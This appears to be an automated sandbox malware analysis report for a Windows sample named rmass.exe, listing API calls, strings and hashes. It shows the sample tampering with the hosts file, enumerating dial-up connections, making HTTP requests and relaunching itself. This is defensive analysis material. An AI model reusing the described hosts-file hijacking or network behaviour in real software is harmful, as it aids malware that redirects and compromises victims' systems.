wsprintfA.USER32 ref: 00401D9A
send.WS2_32(00000000,?,00000000,00000000), ref: 00401DB0
lstrcmpiA.KERNEL32(?,HTTP/1.0 200), ref: 00401DE1
InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,00000000), ref: 00401E65
InternetSetOptionA.WININET(00000000,00000002,00000004), ref: 00401E8B
InternetSetOptionA.WININET(00000000,00000006,00000004,00000004), ref: 00401E97
InternetSetOptionA.WININET(00000000,00000005,00000004,00000004), ref: 00401EA3
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,84280300,00000000), ref: 00401EBB
InternetCloseHandle.WININET(00000000), ref: 00401EF6

Strings

Mozilla/4.0 (compatible; MSIE 6.0; Win32), xrefs: 00401E60
P, xrefs: 00401D79
GET /%s HTTP/1.0Host: %sUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0), xrefs: 00401D8C
HTTP/1.0 200, xrefs: 00401DCD
0, xrefs: 00401DD3
GET /%s HTTP/1.0Host: %s:%uUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0), xrefs: 00401D93, 00401D98

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: Internet$Option$Open$CloseHandleclosesocketgethostbynamehtonsinet_addrlstrcmpilstrcpylstrlensendsocketwsprintf
String ID: 0$GET /%s HTTP/1.0Host: %sUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)$GET /%s HTTP/1.0Host: %s:%uUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)$HTTP/1.0 200$Mozilla/4.0 (compatible; MSIE 6.0; Win32)$P
API String ID: 326340279-3185374940
Opcode ID: 4890552a986b9139ccf03f4f2f77edcabb9426118cabc322ed6b647f0ccaf164
Instruction ID: 0b531a99b3d5abf5cb650746cb0befc7b08862aa7035e578805121d5229d263d
Opcode Fuzzy Hash: 4890552a986b9139ccf03f4f2f77edcabb9426118cabc322ed6b647f0ccaf164
Instruction Fuzzy Hash: 1C71E3B0640215AFE7209B64CC85B5F76A8AF05358F1041BAF705FF2E2D77899448FAE

Function 00402646 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 139
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004010B2: wsprintfA.USER32 ref: 004010C5

lstrcpy.KERNEL32(?,004029BD), ref: 004026A9
gethostbyname.WS2_32(?), ref: 004026BC
htons.WS2_32(00000050), ref: 004026D1
socket.WS2_32(00000002), ref: 004026F3
closesocket.WS2_32(00000000), ref: 0040270F

Part of subcall function 00401A88: RegCreateKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections,00000000,00000000,00000000,000F003F,00000000,00000000,00000000,?,?,?,?,0040273C,?,004029BD), ref: 00401AC6

InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,jjj), ref: 00402749
InternetSetOptionA.WININET(00000000,00000002,?,00000004), ref: 0040276A
InternetSetOptionA.WININET(00000000,00000006,?,00000004), ref: 00402776
InternetSetOptionA.WININET(00000000,00000005,?,00000004), ref: 00402782
wsprintfA.USER32 ref: 00402797
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,84280300,00000000), ref: 004027A9
InternetCloseHandle.WININET(00000000), ref: 004027C9
InternetCloseHandle.WININET(00000000), ref: 004027D0
InternetCloseHandle.WININET(00000000), ref: 004027DB

Strings

Mozilla/4.0 (compatible; MSIE 6.0; Win32), xrefs: 00402744
http://%s/, xrefs: 0040278D
jjj, xrefs: 0040273C

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: Internet$CloseHandleOption$Openwsprintf$Createclosesocketgethostbynamehtonslstrcpysocket
String ID: Mozilla/4.0 (compatible; MSIE 6.0; Win32)$http://%s/$jjj
API String ID: 2574392083-2004689982
Opcode ID: b28d5a6a7d554f64c2491504a51ac63f242c1ec829c8b8627bd8cd06c861574e
Instruction ID: 632abfffad1eae66bbef2cffefd365432c92c77627e78cd6349fa7629361752e
Opcode Fuzzy Hash: b28d5a6a7d554f64c2491504a51ac63f242c1ec829c8b8627bd8cd06c861574e
Instruction Fuzzy Hash: E441A270240300EFE310AB659D8AB1B72A6EF48744F14853AF641FB2D2D7B89845CB6E

Function 004014F6 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 188
filetimestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNEL32(?,00000080), ref: 00401505
CreateFileA.KERNEL32(?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 0040151D
GetFileTime.KERNEL32(00000000,0040C2B0,00000000,0040C2C0,?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 0040154F
GetFileSize.KERNEL32(00000004,00000000,?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 0040155A
ReadFile.KERNEL32(C0000000,00000000,00000000,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 00401586
lstrlen.KERNEL32(.google.,C0000000,00000000,00000000,00000000,00000000,00000004,00000000,?,C0000000,00000001), ref: 00401631
CharLowerA.USER32(00000000,?,.google.,C0000000,00000000,00000000,00000000,00000000,00000004,00000000,?,C0000000,00000001), ref: 0040165E
SetFilePointer.KERNEL32(00000001,00000000,00000000,00000000,C0000000,00000000,00000000,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000,00000004), ref: 004016C2
WriteFile.KERNEL32(C0000000,127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/,00000045,00000000,00000000,00000001,00000000,00000000,00000000,C0000000,00000000,00000000,00000000,00000000,00000004,00000000), ref: 004016D9
WriteFile.KERNEL32(C0000000,00000000,?,00000000,00000000,C0000000,127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/,00000045,00000000,00000000,00000001,00000000,00000000,00000000,C0000000,00000000), ref: 004016F6
SetEndOfFile.KERNEL32(00000080,C0000000,00000000,?,00000000,00000000,C0000000,127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/,00000045,00000000,00000000,00000001,00000000,00000000,00000000,C0000000), ref: 004016FF
WriteFile.KERNEL32(C0000000,127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/,00000045,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 00401721
SetFileTime.KERNEL32(00000001,0040C2B0,00000000,0040C2C0,C0000000,127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/,00000045,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000,00000004), ref: 00401736
CloseHandle.KERNEL32(00000080,00000001,0040C2B0,00000000,0040C2C0,C0000000,127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/,00000045,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000), ref: 0040173F

Strings

127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/, xrefs: 004016D0, 00401718
.google., xrefs: 00401630

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: File$Write$Time$AttributesCharCloseCreateHandleLowerPointerReadSizelstrlen
String ID: .google.$127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/
API String ID: 2270073009-539719378
Opcode ID: e9534cbf8bf0accd80fb4004221d773d0e31431620dde2e4cac1a5aed6862faf
Instruction ID: ed07d2a39fb80e6dc9f9b9060e9089f4a8c87d352c27c362815906d0368f32f6
Opcode Fuzzy Hash: e9534cbf8bf0accd80fb4004221d773d0e31431620dde2e4cac1a5aed6862faf
Instruction Fuzzy Hash: 59619B70608340AFD711DF25CC89B2BBBE5AB84308F54893FF095BA1E1D279D945CB5A

Function 00403F9D Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 66
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,000000F2), ref: 00403FA3
lstrcat.KERNEL32(?,\hosts), ref: 00403FC0
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,000000FE,wininet.dll,iphlpapi.dll,rasapi32.dll,00000000,?,00000104,kernel32.dll), ref: 00403FDC
SetFilePointer.KERNEL32(00000000,000000F4,00000000,00000002,?,80000000,00000001,00000000,00000003,00000000,00000000,?,\drivers\etc\hosts), ref: 00403FF8
ReadFile.KERNEL32(?,0040C0A0,00000004,?,00000000,00000000,000000F4,00000000,00000002,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404015
ReadFile.KERNEL32(?,0040C090,00000004,?,00000000,?,0040C0A0,00000004,?,00000000,00000000,000000F4,00000000,00000002,?,80000000), ref: 0040402B
ReadFile.KERNEL32(?,0040C0B0,00000004,?,00000000,?,0040C090,00000004,?,00000000,?,0040C0A0,00000004,?,00000000,00000000), ref: 00404041
CloseHandle.KERNEL32(?,?,0040C0B0,00000004,?,00000000,?,0040C090,00000004,?,00000000,?,0040C0A0,00000004,?,00000000), ref: 0040404D
lstrcmpiA.KERNEL32(00000000,rmass.exe), ref: 00404084

Strings

\drivers\etc\hosts, xrefs: 00403FA8
qnd_b__-0F, xrefs: 00404095
rmass.exe, xrefs: 00404072

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: File$Read$CloseCreateDirectoryHandlePointerSystemlstrcatlstrcmpi
String ID: \drivers\etc\hosts$qnd_b__-0F$rmass.exe
API String ID: 1203944850-1622607554
Opcode ID: b49fb3f5bfba43ac8df6fbb146d6cbe96504353a14eb1a2fecadf492832e6ac7
Instruction ID: 35304083c46ce8bdd99aca2beccb525c336441cd391f258b3a4e2715a73e65a2
Opcode Fuzzy Hash: b49fb3f5bfba43ac8df6fbb146d6cbe96504353a14eb1a2fecadf492832e6ac7
Instruction Fuzzy Hash: DA1166B0644741F9F6306B71CC4BF4B2598EB81718FA0853B7355B90D1DBBC54048A2E

Function 00401038 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45
processfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32(?), ref: 00401046
CreateProcessA.KERNEL32(?,--k33p,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?), ref: 00401061
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00401076
WaitForSingleObject.KERNEL32(?,000000FF,?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000,00000000), ref: 00401083
CloseHandle.KERNEL32(00000000,?,000000FF,?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000), ref: 0040109A
CloseHandle.KERNEL32(?,?,000000FF,?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000), ref: 004010A2
CloseHandle.KERNEL32(?,?,?,000000FF,?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000), ref: 004010AB

Strings

--k33p, xrefs: 0040105B

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: CloseHandle$Create$FileInfoObjectProcessSingleStartupWait
String ID: --k33p
API String ID: 881816827-1573217081
Opcode ID: 9ec2e7f4df98121230974ca780bd7273f79082e98d7aef1eeaefa641063f2d6b
Instruction ID: 8066bfb0b53967ada52967b4418e7945b86cdbe5de05057fbb1ad19309dc722b
Opcode Fuzzy Hash: 9ec2e7f4df98121230974ca780bd7273f79082e98d7aef1eeaefa641063f2d6b
Instruction Fuzzy Hash: 94F05E70244B0576E62036328C8FF2F6559DF01B24F608A3BB660790E2EA7CA8515D6E

Function 00401983 Relevance: 12.1, APIs: 8, Instructions: 82
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 004019A3
connect.WS2_32(00000000,?,00000010), ref: 004019B4
ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 004019C4
WSAGetLastError.WS2_32 ref: 004019D0
ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 004019E3

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: ioctlsocket$ErrorLastconnect
String ID:
API String ID: 1886816560-0
Opcode ID: 1fd409ad406d014119119a8547cc7ecc19c4fade62183dd80c9d3f1a3f264389
Instruction ID: 7ca4e1aa6efa4e4985c6b63a06a3ad70c8f0fbc5506d5683ad8c2bedbe06a21d
Opcode Fuzzy Hash: 1fd409ad406d014119119a8547cc7ecc19c4fade62183dd80c9d3f1a3f264389
Instruction Fuzzy Hash: D021F8705052016AE3209A658C01FAB76ECDF85318F010A3FB191EA1E2EB7C9554CBAB

Function 004027EA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45stringCOMMON

Download Yara Rule

APIs

RasEnumConnectionsA.RASAPI32(00402B05,00402B05,00402B05), ref: 0040281D
lstrcmpiA.KERNEL32(?,modem), ref: 00402847
lstrcmpiA.KERNEL32(?,isdn), ref: 00402865

Strings

isdn, xrefs: 00402850
modem, xrefs: 00402830

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: lstrcmpi$ConnectionsEnum
String ID: isdn$modem
API String ID: 1014164406-1928581975
Opcode ID: 9d1eb8ad450a69b617b389cce2d7e18c356c0d03122a32f67a2284c9fb5b3dc3
Instruction ID: 1fd20589a5c177b5d244b704ac19eb0a17882c4c7e5a921d6270ae9881b3cb0b
Opcode Fuzzy Hash: 9d1eb8ad450a69b617b389cce2d7e18c356c0d03122a32f67a2284c9fb5b3dc3
Instruction Fuzzy Hash: A1019276104705ABC700EB65CA98FAB73ECAB40304F14CD3AE4D5E62C1E3BCD5448B96

Function 004034C9 Relevance: 7.5, APIs: 5, Instructions: 49processstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004034E7
Process32First.KERNEL32(00000000), ref: 004034FD
lstrcmpiA.KERNEL32(00000000,?), ref: 00403511
Process32Next.KERNEL32(00000000), ref: 00403530
CloseHandle.KERNEL32(00000000,00000002,00000000), ref: 00403538

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcmpi
String ID:
API String ID: 868014591-0
Opcode ID: ee07a65170ec9875e6cec8a1061fb9ed57228e05fae16e621fb5b5c7e823afb7
Instruction ID: c1730c4a262d1c5ddb531cf5a409bf9471f7e663502f7af43a59ba8fe8c46425
Opcode Fuzzy Hash: ee07a65170ec9875e6cec8a1061fb9ed57228e05fae16e621fb5b5c7e823afb7
Instruction Fuzzy Hash: 7EF0CD7220420436D6203677AC46F6F7E9CDB45365F50053FBA58F51D3E93DCA0186A5

Function 0040187B Relevance: 6.1, APIs: 4, Instructions: 96networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,?), ref: 004018F9
recv.WS2_32(00000000,?,?,00000002), ref: 00401909
recv.WS2_32(00000000,?,00000001,00000000), ref: 00401928
recv.WS2_32(00000000,?,00000000,00000000), ref: 0040195E

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: recv$select
String ID:
API String ID: 873784944-0
Opcode ID: 5e980a549271e8e0265eac0a3549a36de8a7d66c8810f307f3e4e8dc9c60e479
Instruction ID: 0e7c0514ff34e4ed08866b55ff767d2318ba96abf9e9c78bb5005e9928d1fd1f
Opcode Fuzzy Hash: 5e980a549271e8e0265eac0a3549a36de8a7d66c8810f307f3e4e8dc9c60e479
Instruction Fuzzy Hash: 4831C2716083469FE720EE24C894B2BBBD8EF94744F10483EF5C5E62E1E3B98904C756

Function 004012C2 Relevance: 6.0, APIs: 4, Instructions: 28stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?), ref: 004012E6
lstrcat.KERNEL32(00000000,?), ref: 004012EC
SetFileAttributesA.KERNEL32(?,00000080,00000000,?,?,0040AA7C), ref: 004012F7
DeleteFileA.KERNEL32(?,?,00000080,00000000,?,?,0040AA7C), ref: 004012FD

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: File$AttributesDeletelstrcatlstrcpy
String ID:
API String ID: 875521641-0
Opcode ID: eebc0057891380efd53f2a06dbe17c9e7861eb94a7bf49468f1947de7f6da36f
Instruction ID: ac0062008775948776803e6f6a7ba0f32bd5f245bff4d12fb7fdccc5d9a3c317
Opcode Fuzzy Hash: eebc0057891380efd53f2a06dbe17c9e7861eb94a7bf49468f1947de7f6da36f
Instruction Fuzzy Hash: 2AE0D872400300A5E6203639EC8DFAF759C9F40324F10893FF885711D1957C54948E6E

Function 004021AF Relevance: 4.5, APIs: 3, Instructions: 14networkCOMMON

Download Yara Rule

APIs

InternetCloseHandle.WININET(?), ref: 004021BA
InternetCloseHandle.WININET(00000000), ref: 004021C2
closesocket.WS2_32(?), ref: 004021CD

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: CloseHandleInternet$closesocket
String ID:
API String ID: 100882886-0
Opcode ID: 38c5c5fd155a3b77f896cb0705aa5a1c1762d157dace704c3b48c36e6947c548
Instruction ID: 8df18a8d94f806bd71f990b2b79a4fa53ec00ab173ae743f66f47d01ed5035f4
Opcode Fuzzy Hash: 38c5c5fd155a3b77f896cb0705aa5a1c1762d157dace704c3b48c36e6947c548
Instruction Fuzzy Hash: 95D09230104010DFC7022F24DE8DA157AA5BB08306B158176E206EE1F2CBB98D60EA19

Function 00401251 Relevance: 1.5, APIs: 1, Instructions: 42registryCOMMON

Download Yara Rule

APIs

RegSetValueExW.ADVAPI32(?,?,00000000,00000001,0040B038,00000004), ref: 004012B2

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 6e1a69a737940e1b507a01504ae2959c43d02a9a725956bc510e8e4c6b65b756
Instruction ID: 47c0b531743c13b8f7b9b69cedc7d341682a25e1e981e5298b765a2313dc1952
Opcode Fuzzy Hash: 6e1a69a737940e1b507a01504ae2959c43d02a9a725956bc510e8e4c6b65b756
Instruction Fuzzy Hash: C3F0247134130593E7309698EC81F7B3399EF91359F50007EF604EA7D0D2386809839E

Function 00401000 Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.KERNEL32(00000000,00000014,00401EE7), ref: 00401009

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e2197acf973c4f7bb4f75aa707eafe49225196dd272785e62c5820851292c80a
Instruction ID: 059bb74646fdde00ddc91567d55368278c3f66c790095dbea91f8dfc7a828351
Opcode Fuzzy Hash: e2197acf973c4f7bb4f75aa707eafe49225196dd272785e62c5820851292c80a
Instruction Fuzzy Hash: E8A00274554504BAEA112761AD4AF663519FB40F04FD051BA7500744F185791810AA2C

Function 00401029 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,00402F75,?,Default Flags,00000000,00000003,0040C160,00000012,0040C160,?,?,?), ref: 00401032

Memory Dump Source

Source File: 00000001.00000002.4169958602.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4169844870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170177766.000000000040B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4170254853.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_rmass.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 3b79ee21e2e3531bf5b7a16bcb4c22ed541897088854b908b504c98a73519225
Instruction ID: 56aa44ed8ca3f4769615f690d1adc1f390dc6a06bd406442903f978eb7d3679c
Opcode Fuzzy Hash: 3b79ee21e2e3531bf5b7a16bcb4c22ed541897088854b908b504c98a73519225
Instruction Fuzzy Hash: 4FA00274554508BAF9112761AD4AF266529FB50B04FD041BA7500744F1857918106A2C

Non-executed Functions

Function 0040233A Relevance: 52.7, APIs: 24, Strings: 6, Instructions: 243filestringprocessCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 00402377
GetTempPathA.KERNEL32(00000104,?,?,?,?,00000000,?,00000000,?,00402E29,00000000,00000000,?,Default Flags,00000000,00000003), ref: 004023FF
lstrcpy.KERNEL32(?,?), ref: 00402423
lstrcat.KERNEL32(00000000,?), ref: 00402429
lstrcat.KERNEL32(00000000,00000000), ref: 0040242F
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040245E

Part of subcall function 00401C3E: lstrcpy.KERNEL32(?,?), ref: 00401C6A
Part of subcall function 00401C3E: lstrlen.KERNEL32(00000000,?,?), ref: 00401C70
Part of subcall function 00401C3E: htons.WS2_32(00000050), ref: 00401CD1
Part of subcall function 00401C3E: socket.WS2_32(00000002,00000001,00000006), ref: 00401D2C
Part of subcall function 00401C3E: closesocket.WS2_32(00000000), ref: 00401D4F
Part of subcall function 00401C3E: InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,00000000), ref: 00401E65
Part of subcall function 00401C3E: InternetSetOptionA.WININET(00000000,00000002,00000004), ref: 00401E8B
Part of subcall function 00401C3E: InternetSetOptionA.WININET(00000000,00000006,00000004,00000004), ref: 00401E97
Part of subcall function 00401C3E: InternetSetOptionA.WININET(00000000,00000005,00000004,00000004), ref: 00401EA3

GetTempFileNameA.KERNEL32(?,tmp,00000000,?), ref: 0040243F
